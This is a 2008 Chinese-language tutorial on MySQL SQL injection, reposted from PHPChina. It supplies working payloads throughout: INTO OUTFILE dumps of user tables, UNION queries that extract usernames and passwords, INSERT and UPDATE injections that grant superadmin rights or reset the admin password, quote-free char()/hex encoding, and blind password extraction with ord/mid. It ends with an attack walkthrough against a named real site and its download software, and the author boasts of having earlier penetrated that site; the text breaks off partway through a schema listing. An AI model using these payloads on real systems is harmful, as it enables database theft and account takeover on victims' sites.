SQL Injection with MySQL(2)

日期:2008-06-26  作者:喜騰小二  來源:PHPChina


三、匯出檔案

  這個是比較容易構造但又有一定限制的技術,我們經常可以看見以下的SQL陳述式:

select * fromtableintooutfile'c:/file.txt'
select * fromtableintooutfile'/var/www/file.txt'

  但這樣的陳述式,一般很少用在程式裡,有誰會把自己的資料匯出呢?除非是備份,但我也沒有見過這種備份法。所以我們要自己構造,但必須有下麵的前提條件:

必須匯出到能訪問的目錄,這樣才能下載。
能訪問的目錄必須要有可寫的授權權,否則匯出會失敗。
確保硬碟有足夠的容量能容下匯出的資料,這個很少見。
確保要已經存在相同的檔案名,會導緻匯出失敗,並提示:“File ‘c:/file.txt’ already exists”,這樣可以防止資料庫表和檔案例如/etc/passwd被破壞。
  我們繼續用上麵的user.php和show.php兩個檔案舉例,如果一個一個使用者猜解實在是太慢了,如果對方的密碼或者其他敏感資訊很復雜,又不會寫Exploit,要猜到什麼時候啊?來點大範圍的,直接匯出全部資料好了。user.php檔案的查詢陳述式,我們按照into outfile的標準格式,注入成下麵的陳述式就能匯出我們需要的資訊了:

SELECT * FROMuserWHEREusername='$username'intooutfile'c:/file.txt'

  知道怎麼樣的陳述式可以實現我們的目的,我們就很容易構造出相應的陳述式:

http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

  出現了錯誤提示,但從返回的陳述式看來,我們的SQL陳述式確實是注入正確了,即使出現錯誤,也是查詢的問題了,檔案還是乖乖的被匯出了,如圖:

  由於程式碼本身就有WHERE來指定一個條件,所以我們匯出的資料僅僅是滿足這個條件的資料,如果我們想匯出全部呢?其實很簡單,只要使這個WHERE條件為假,並且指定一個成真的條件,就可以不用被束縛在WHERE裡了,來看看經典1=1發揮作用了:

http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

  實際的SQL陳述式變為:

SELECT * FROMuserWHEREusername=''or1=1intooutfile'c:/file.txt'

  這樣username的參數是空的,就是假了,1=1永遠是真的,那or前麵的WHERE就不起作用了,但韆萬別用and哦,否則是不能匯出全部資料的。
  既然條件滿足,在這種情況下就直接匯出所有資料!如圖:

  但是跨表的匯出檔案的陳述式該怎麼構造呢?還是用到UNION聯合查詢,所以一切前提條件都應該和UNION、匯出資料一樣,跨表匯出資料正常情況下應該相下麵的一樣:

SELECT * FROMarticleWHEREarticleid='1'unionselect1,username,passwordfromuserintooutfile'c:/user.txt'

  這樣可以匯出檔案了,如果我們要構造就提交:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt

  檔案是出來了,可是有一個問題,由於前麵的查詢articleid=’1′為真了,所以匯出的資料也有整個文章的一部分,如圖:

  所以我們把應該使前麵的查詢陳述式為假,才能隻匯出後麵查詢的內容,只要提交:

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

  這樣才能得到我們想要的資料:

  值得注意的是想要匯出檔案,必須magic_quotes_gpc沒有開啟,並且程式也沒有用到addslashes()函式,還有不能對單引號做任何篩選,因為我們在提交匯出路徑的時候,一定要用引號包含起來,否則,係統不會認識那是一個路徑,也不用嘗試用char()或者什麼函式,那是徒勞。

INSERT

  如果大家認為MYSQL中注入僅僅適用於SELECT就大錯特錯了,其實還有兩個危害更大的操作,那就是INSERT和UPDATE陳述式,這類例子不多,先麵先說說INSERT,這主要應用於改寫插入的資料,我們來看個簡單而又廣泛存在的例子,看看下麵的資料結構:

CREATETABLE`user`(
`userid`INTNOTNULLAUTO_INCREMENT ,
`username`VARCHAR(20)NOTNULL ,
`password`VARCHAR(50)NOTNULL ,
`homepage`VARCHAR(255)NOTNULL ,
`userlevel`INTDEFAULT'1'NOTNULL ,
PRIMARYKEY(`userid`)
);

  其中的userlevel代表使用者的等級,1是普通使用者,2是普通管理員,3是超級管理員,一個注冊程式預設是注冊成普通使用者,如下:

INSERTINTO`user`(userid, username, password, homepage, userlevel)VALUES('', '$username', '$password', '$homepage', '1');

  預設userlevel欄位是插入1,其中的變數都是沒有經過篩選就直接寫入資料庫的,不知道大家有什麼想法?對,就是直接注入,使我們一注冊就是超級管理員。我們注冊的時候,構造$homepage變數,就可以達到改寫的目的,指定$homepage變數為:

http://4ngel.net’, ‘3’)#

  插入資料庫的時候就變成:

INSERTINTO`user`(userid, username, password, homepage, userlevel)VALUES('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

  這樣就注冊成為超級管理員了。但這種利用方法也有一定的侷限性,比如,我沒有需要改寫的變數如userlevel欄位是資料庫的第一個欄位,前麵沒有地方給我們注入,我們也沒有辦法了。
或許INSERT還有更廣泛的應用,大家可以自行研究,但原理都是一樣的。

UPDATE

  和INSERT相比,UPDATE的應用更加廣泛,如果篩選不夠,足以改寫任何資料,還是拿剛才的注冊程式來說,資料結構也不變,我們看一下使用者自己修改自己的資料,SQL陳述式一般都是這樣寫的:

UPDATEuserSETpassword='$password', homepage='$homepage'WHEREid='$id'

  使用者可以修改自己的密碼和首頁,大家有什麼想法?總不至於還是提昇授權權吧?程式中的SQL陳述式又沒有更新userlevel欄位,怎麼提昇啊?還是老辦法,構造$homepage變數, 指定$homepage變數為:

http://4ngel.net’, userlevel=’3

  整個SQL陳述式就變成這樣:

UPDATEuserSETpassword='mypass', homepage='http://4ngel.net', userlevel='3'WHEREid='$id'

  我們是不是又變成超級管理員了?程式不更新userlevel欄位,我們自己來。
還有更加絕的,直接修改任意使用者的資料,還是剛才的例句,但這次安全一點,使用MD5加密:

UPDATEuserSETpassword='MD5($password)', homepage='$homepage'WHEREid='$id'

  儘管密碼被加密了,但我們還是可以構造我們需要的陳述式,我們指定$password為:

mypass)' WHERE username='admin'#
?>

  這時整個陳述式變為:

UPDATEuserSETpassword='MD5(mypass)'WHEREusername='admin'#)', homepage='$homepage' WHERE id='$id'

  這樣就變更了更新的條件,我管妳後麵的程式碼是不是在哭這說:我們還沒有執行啊。當然,也可以從$id下手,指定$id為:

' OR username='admin'
?>

  這時整個陳述式變為:

UPDATEuserSETpassword='MD5($password)', homepage='$homepage'WHEREid=''ORusername='admin'

  照樣也可以達到修改的目的,所以說注入是非常靈活的技術。如果有些變數是從資料庫讀取的固定值,甚至用$_SESSION['username']來讀取伺服器上的SESSION資訊時,我們就可以在原來的WHERE之前自己構造WHERE並注釋掉後麵的程式碼,由此可見,靈活運用注釋也是注入的技巧之一。這些技巧把注入發揮得淋漓盡緻。不得不說是一種藝術。
  變數的提交方式可以是GET或POST,提交的位置可以是網址列、表單、隱藏表單變數或修改本機COOKIE資訊等,提交的方式可以是本機提交,伺服器上提交或者是工俱提交,多種多樣就看妳如何運用了。

進階應用

1、 使用MYSQL內建函式

  我們在ACCESS、MSSQL中的注入,有很多比較進階的注入方法,比如深入到係統,猜中文等,這些東西,在MYSQL也能很好得到發揮,其實在MYSQL有很多內建函式都可以用在SQL陳述式裡,這樣就可以使我們能在注入時更靈活,得到更多關於係統的資訊。有幾個函式是比較常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……

  各個函式的俱體作用大家可以查閱MYSQL手冊,比如下麵這句UPDATE:

UPDATEarticleSETtitle=$titleWHEREarticleid=1

  我們可以指定$title為以上的各個函式,因為沒有被引號包含,所以函式是能正確執行的:

UPDATEarticleSETtitle=DATABASE()WHEREid=1
#把當前資料庫名更新到title欄位
UPDATEarticleSETtitle=USER()WHEREid=1
#把當前 MySQL 使用者名稱更新到title欄位
UPDATEarticleSETtitle=SYSTEM_USER()WHEREid=1
#把當前 MySQL 使用者名稱更新到title欄位
UPDATEarticleSETtitle=SESSION_USER()WHEREid=1
#把當前 MySQL 使用者名稱更新到title欄位
UPDATEarticleSETtitle=CURRENT_USER()WHEREid=1
#把當前工作階段被驗證比對的使用者名稱更新到title欄位

  靈活運用MYSQL內建的函式,可以獲得不少有用的資訊,比如資料庫版本、名字、使用者、當前資料庫等,比如前麵跨表查詢的例子,提交:

http://127.0.0.1/injection/show.php?id=1

  可以看到一篇文章,我們怎麼樣才能知道MYSQL資料庫的相關資訊呢?同樣也是用MYSQL內建函式配合UNION聯合查詢,不過相比之下就簡單得多了,甚至還可以讀取檔案!既然要用到UNION,同樣要滿足UNION的條件——欄位數、資料類型相同。如果我們知道了資料結構,直接構造:

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

  就可以返回當前資料庫名和資料庫版本,構造是比較容易的。
  下麵附上一段由我好友SuperHei寫的程式碼,可以把字串轉換為ASCII程式碼。感謝提供。

#!/usr/bin/perl
#cody by SuperHei
#to angel
#C:>test.pl c:oot.ini
#99,58,92,98,111,111,116,46,105,110,105
 
$ARGC = @ARGV;
if($ARGC != 1){
  
print"Usage: $0 ";
  
exit(1);
}
 
$path=shift;
 
@
char = unpack('C*', $path);
 
$asc=join(",",@char);
 
print$asc;

2、不加單引號注入

注:現在我們假設magic_quotes_gpc為on了。

  眾所周知,整形的資料是不需要用引號引起來的,而字串就要用引號,這樣可以避免很多問題。但是如果僅僅用整形資料,我們是沒有辦法注入的,所以我需要把我們構造的陳述式轉換成整形類型,這個就需要用到CHAR(),ASCII(),ORD(),CONV()這些函式了,舉個簡單的例子:

SELECT * FROM user WHERE username=’angel’

  如何使$username不帶引號呢?很簡單我們這樣提交就可以了。

SELECT * FROMuserWHEREusername=char(97,110,103,101,108)
# char(97,110,103,101,108) 相當於angel,十進位。
SELECT * FROMuserWHEREusername=0x616E67656C
# 0x616E67656C 相當於angel,十六進位。

  其他函式大家自己去測試好了,但是前提就如上麵所說的,我們可以構造的變數不被引號所包含才有意義,不然我們不管構造什麼,隻是字串,發揮不了作用,比如前麵猜密碼的例子(user,php),我們把查詢條件改為userid:

SELECT * FROMuserWHEREuserid=userid

  按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1

  就可以查詢userid為1的使用者資料,因為1是數字,所以有沒有引號都無所謂,但是如果我們構造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass

  絕對錯誤,因為mypass是字串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password='mypass'

  由於magic_quotes_gpc開啟的關係,這個是絕對不可能的。引號會變成/’,我們有什麼辦法可以把這些字串變成整形資料嗎?就是用CHAR()函式,如果我們提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)

  正常返回,實踐證明,我們用CHAR()是可行的,我們就把CHAR()用進LEFT函式裡麵逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)

  正常返回,幫助userid為1的使用者,password欄位第一位是char(109),我們繼續猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

  又正常返回,幫助正確,但這樣影響到效率,既然是整形,我們完全可以用比較運算元來比較:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

  然後適當調整char()裡麵的數字來確定一個範圍,很快就可以猜出來,到了後麵的時候,還是可以用比較運算元來比較:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

  而原來已經猜好的不用改變了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)

  然後在mysql>命令提示字元下或者在phpMyadmin裡麵執行:

selectchar(109,121,112,97,115,115)

  就會返回:mypass

  當然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函式,從字串 str 的 pos 位置起返回 len 個字元的子串。這個和ACCESS是一樣的。還是剛才的例子,我們猜password欄位的第三位、第四位試試,第三位是p,第四位是a,我們這樣構造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)

  我們要的結果就迸出來了。當然,如果覺得麻煩,還可以用更簡單的辦法,就是利用ord()函式,俱體作用可以去檢視MYSQL參考手冊,該函式返回的是整形類型的資料,可以用比較運算元進行比較、當然得出的結果也就快多了,也就是這樣提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

  這樣我們就得出結果了,然後我們再用char()函式還原出來就好了。至於其他更多函式,大家可以自己去試驗,限於篇幅也不多說了。

3、快速確定未知資料結構的欄位及類型

  如果不清楚資料結構,很難用UNION聯合查詢,這裡我告訴大家一個小技巧,也是非常有用非常必要的技巧,充分發揮UNION的特性。
  還是拿前麵的show.php檔案做例子,當我們看到形如xxx.php?id=xxx的URL的時候,如果要UNION,就要知道這個xxx.php查詢的資料表的結構,我們可以這樣提交來快速確定有多少個欄位:

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

  有多少個“1”就表示有多少個欄位,可以慢慢試,如果欄位數不相同,就肯定會出錯,如果欄位數猜對了,就肯定會返回正確的页面,欄位數出來了,就開始判斷資料類型,其實也很容易,隨便用幾個字母代替上麵的1,但是由於magic_quotes_gpc開啟,我們不能用引號,老辦法,還是用 char()函式,char(97)表示字母“a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

  如果是字串,那就會正常顯示“a”,如果不是字串或文字,也就是說是整形或佈林形,就會返回“0”,如圖:

  判斷最主要靠什麼?經驗,我以前一直都說,經驗很重要,豐富經驗能更好的作出正確的判斷,因為程式的程式碼是韆變萬化的,我們這裡是隻是舉個最簡單的例子,這裡由於侷限性,程式都是我自己寫、自己測試的。方法因程式而異。希望大家在實戰中,注意區別,不要照搬,靈活運用才是根本。

4、猜資料表名

  在快速確定未知資料結構的欄位及類型的基礎上,我們又可以進一步的分析整個資料結構,那就是猜表名,其實使用UNION聯合查詢的時候,不管後麵的查詢怎麼“畸形”,只要沒有陳述式上的問題,都會正確返回,也就是說,我們可以在上麵的基礎上,進一步猜到表名了,比如剛才我們提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1

  返回正常的內容,就幫助這個檔案查詢的表內是存在3個欄位的,然後我們在後麵加入from table_name,也就是這樣:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user

  如果這個表是存在的,那麼同樣會返回應該顯示的內容,如果表不存在,當然就會出錯了,所以我的思路是先獲得有漏洞的檔案所查詢表的資料結構,確定結果後再進一步查詢表,這個手工操作是沒有效率的問題的,不到一分鐘就可以查詢到了,比如我們在測試www.***bai.net就是這樣,後麵的實例會涉及到。
  但是有一個問題,由於很多情況下,很多程式的資料表都會有一個首碼,有這個首碼就可以讓多個程式共用一個資料庫。比如:

site_article
site_user
site_download
forum_user
forum_post
……

  如果安全意識高的話,管理員會加個表名首碼,那猜解就很麻煩了,不過完全可以做一個表名清單來跑。這裡就不多說了,後麵會有一個俱體的例子來解開一切迷茫^_^……

實例

  下麵對一個國內非常出名的站點進行善意的攻擊測試,來對上麵的知識進行一次大概的驗證,出於影響等諸多因素,我們稱這個站點為 HB(www.***bai.net),HB使用的是夜貓的文章係統和下載係統,不過文章係統已經升級了,我們就不看了,下載係統是絕對有問題的,不過由於我現在寫文章的電腦不上網,我用相同的下載係統在本機進行一次模擬的測試。實際上,我事前早用更狠毒的技術滲透過HB。
  首先我們找到有問題的檔案,show.php?id=1,我們馬上看看資料結構和表名,看看HB有沒有改欄位和表名,我早知道夜貓下載係統1.0.1版的軟體資訊的表有19個欄位,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  注意,這裡有19個“1”,返回正常的页面,我可以可以肯定欄位沒有變,我們也就別拖拉了,直接看看夜貓的預設使用者資料表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  正常返回,如圖,如果URL不清楚可以看標題那裡:

  嗯,這個HB還真是夠懶的,這麼爛的程式也不知道先修改一下再用,不過也是,沒有多少人和我一樣有閒心先去加固程式才用的,再看預設的使用者id還在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  忘記了,就算不存在id為1的使用者,前麵的查詢是真的,照樣會正常返回資料庫的軟體資訊,我們隻能讓前麵的查詢為假,才能使後麵查詢的結果顯示出來,但我們要注意一點,show.php檔案裡麵有這樣一段程式碼:

if($id > "0" && $id < "999999999"):
//這裡是正確執行的程式碼
else:
echo"

無記錄 ";
 center>

  也就是說我們的ID的值再怎麼離譜也不能在0和999999999之外,HB的軟體肯定不會超過10000個的,我們就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  正常返回了,表格裡的資料全部是“1”,幫助ID還在哦。如果不存在的話,页面隻返回的資料全部是不詳,因為程式的判斷是如果資料為空就顯示不詳。現在確定了ID存在後,還要確定是不是管理員才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  程式規定groupid為1是超級管理員,既然都返回正確資訊了,我們就直接構造畸形陳述式,暴出我們需要的使用者名稱和密碼,嘿嘿,首先看看ymdown表的資料結構,因為show.php是查詢它的,所以我們應該看它的資料結構。

CREATETABLEymdown(
 
idint(10)unsignedNOTNULLauto_increment,
 
namevarchar(100)NOTNULL,
 
updatetimevarchar(20)NOTNULL,
 
sizevarchar(100)NOTNULL,
 
empowervarchar(100)NOTNULL,
 
osvarchar(100)NOTNULL,
 
gradesmallint(6)DEFAULT'0'NOTNULL,
 
viewnumint(10)DEFAULT'0'NOTNULL,
 
downnumint(10)DEFAULT'0'NOTNULL,
 

<<<返回技術中心

技術文章

站內新聞

我要啦免费统计